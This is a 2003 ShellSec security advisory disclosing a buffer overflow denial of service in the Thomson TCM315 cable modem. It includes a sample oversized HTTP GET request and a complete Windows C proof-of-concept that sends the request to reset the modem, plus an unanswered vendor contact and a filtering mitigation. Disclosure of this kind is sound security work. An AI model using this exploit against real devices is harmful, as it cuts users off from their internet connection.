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From: admin at shellsec.net (Administrador de ShellSec)
Subject: Thomnson TCM315 Denial of service

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                          . : Shell Security Advisory : .

Subject: Buffer overflow in the cable modem Thomson TCM315

Issue date: 2003 November 23

Related link: http://www.shellsec.net/leer_advisory.php?id=2

Homepage: http://www.shellsec.net

Info about product: http://www.qb.ro/docs/tcm315.pdf

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[ - 1 - Introduction ]
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Software description:

Thomson TCM315 cable modem

- DOCSIS 1.0 certified

- DOCSIS 2.0 ready and DOCSIS 1.1 compliant

- NAT/PAT/Firewall and integrated router for SOHO installations (in a 
separate software release)

- Bridging between the USB and Ethernet port

- Easy Access to Advanced Diagnostics Web Pages

- USB port for easy installation

- Reliable high-performance platform

- Surf the Internet Up to 100 Times Faster than a 56k analog Modem

- Internet On-Off button for enhanced security


[ - 2 - Problem description ]
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The problem appears by sending an HTTP request with a long string to the 
cable modem, causing a deny of service (DoS). Example:

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1

or

http://<cablemodem.IP>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


[ - 3 - How to exploit it ]
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To test this vulnerability, we used the next code. Note: the code is 
written in C to be used in Windows systems, but it's easily portable to 
Unix systems.

--------------------- CUT HERE ---------------------

/*
ADVISORY - Thomson Cablemodem TCM315 Denial of Service

Shell security group (2003) http://www.shellsec.net

November 10 of 2003

Tested against: TCM315 MP
Software Version: ST31.04.00
Software Model: A801
Bootloader: 2.1.4c
Impact: Users with access to the network can remotely shutdown internet 
connection.

Discovered by: aT4r Andres[at]shellsec.net
Vendor: contacted (no answer)
Fix: no yet

usage: just, thdos.exe 192.168.100.1

*/

#include <stdio.h>
#include <winsock2.h>

void main(int argc,char *argv[]) {
char evil[150],buffer[1000];
struct sockaddr_in shellsec;
int fd;
WSADATA ws;

WSAStartup( MAKEWORD(1,1), &( ws) );

shellsec.sin_family = AF_INET;
shellsec.sin_port = htons(80);
shellsec.sin_addr.s_addr = inet_addr(argv[1]);

memset(evil,'\0',sizeof(evil));
memset(evil,'A',100);
sprintf(buffer,"GET /%s HTTP/1.1\r\n\r\n\r\n",evil);

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
send(fd,buffer,strlen(buffer),0);
printf("done. Thomson Cablemodem reset!\n");
sleep(100);
}
else printf("Unable to connect to CM.\n");
}

--------------------- CUT HERE ---------------------


[ - 4 - Solution ]
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Thomson was advised about this vulnerability, but we got no answer, so as 
we know there is no patch to fix this issue.. As a possible solution, you 
can filter requests made to the cable modem.


[ - 5 - Credits ]
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Autor: Andr?s Tarasc? ( andres[at]shellsec.net )
Redactor: Fernando Ortega ( fernando[at]shellsec.net )
Issue date: 23 de Noviembre de 2003
Url: http://www.shellsec.net


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Administrador de Shell Security (admin[at]shellsec.net)
Shell Security Group (http://www.shellsec.net)
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